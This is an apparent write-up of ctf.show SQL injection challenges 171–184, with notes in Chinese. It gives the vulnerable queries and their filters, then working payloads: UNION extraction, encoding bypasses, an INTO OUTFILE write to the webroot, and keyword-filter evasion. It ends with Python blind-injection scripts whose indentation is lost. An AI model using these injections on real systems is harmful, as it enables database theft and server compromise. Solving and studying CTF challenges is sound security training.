sqli_CTF Show
171
要点:使用 or true 绕过 where 后的条件约束(php中非零数字可代表true)
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
0' or true%23
0' or '1
需要自己把#编码为%23
172
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//返回逻辑:检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
0' union select 1,group_concat(password)from ctfshow_user2 where username="flag"%23
173
要点:编码绕过返回内容过滤 hex() to_base64()
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//返回逻辑:检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
1' union select 1,2,hex(group_concat(password))from ctfshow_user3 where username="flag"%23
174
要点:编码 替换
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//返回逻辑:检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
to_base64()编码后,用replace()将数字替换为字母
replace(object,search,replace)
175
要点:将查询结果写入文档然后访问
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//返回逻辑:检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
1' union select 1,password from ctfshow_user5 into outfile "/var/www/html/1.txt"%23
#然后访问url/1.txt
176
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
#union、select绕过,详见 MySQL绕过.md
177~179
同上
过滤空格
180
同上
#过滤了注释符和空格
0'||username='flag
181
要点:and or
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
#注意limit 1,需要前面id=''搜索不到内容,然后搜索后面username='flag'得到想要的内容,and'1用于闭合单引号(不能or '1 ,使用or '1 从所有数据中返回第一条)
'or(username='flag')and'1
'||(username)='flag
182
要点:模糊查询(like regexp)
select * from tb1 where name regexp'a';
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
0'||(id)='26
'||(password)regexp'{ #正则匹配{
'||(password)like'%{%
183
要点:盲注,使用like或者regexp
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
import requests
url='http://aefd8cad-6684-46a7-89d3-daeb81f816af.challenge.ctf.show/select-waf.php'
flag="ctfshow{"
for i in range(0,100):
for j in "{0123456789abcdefghijklmnopqrstuvwxyz-}":
data={
'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
}
r=requests.post(url=url,data=data).text
if "$user_count = 1" in r:
flag += j
print(flag)
if j=='}':
exit()
break
184
#原理 使用join绕过对where的过滤
select * from tb1 as a join tb1 as b on (b.title regexp concat(char(97),char(97)));
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
import requests
url = 'http://9868e30a-0e18-44f9-ae7c-31598a569b9a.challenge.ctf.show/select-waf.php'
dic = '{0123456789abcdefghijklmnopqrstuvwxyz-}'
flag = 'ctfshow{'
def switchToChar(str):
ret = 'concat('
for i in range(len(str)):
ret += f'char({ord(str[i])})'
if i != len(str)-1:
ret += ','
else:
ret += ')'
return ret
def getPayload(c):
payload = {
'tableName':f'ctfshow_user as a join ctfshow_user as b on (b.pass regexp {switchToChar(flag+c)})'
}
return payload
for i in range(50):
print(f'第{i}轮')
for c in dic:
payload = getPayload(c)
# print(payload)
rep = requests.post(url,payload)
if '$user_count = 0;' in rep.text:
continue
else:
flag += c
print(flag)
if c == '}':
exit(123)
break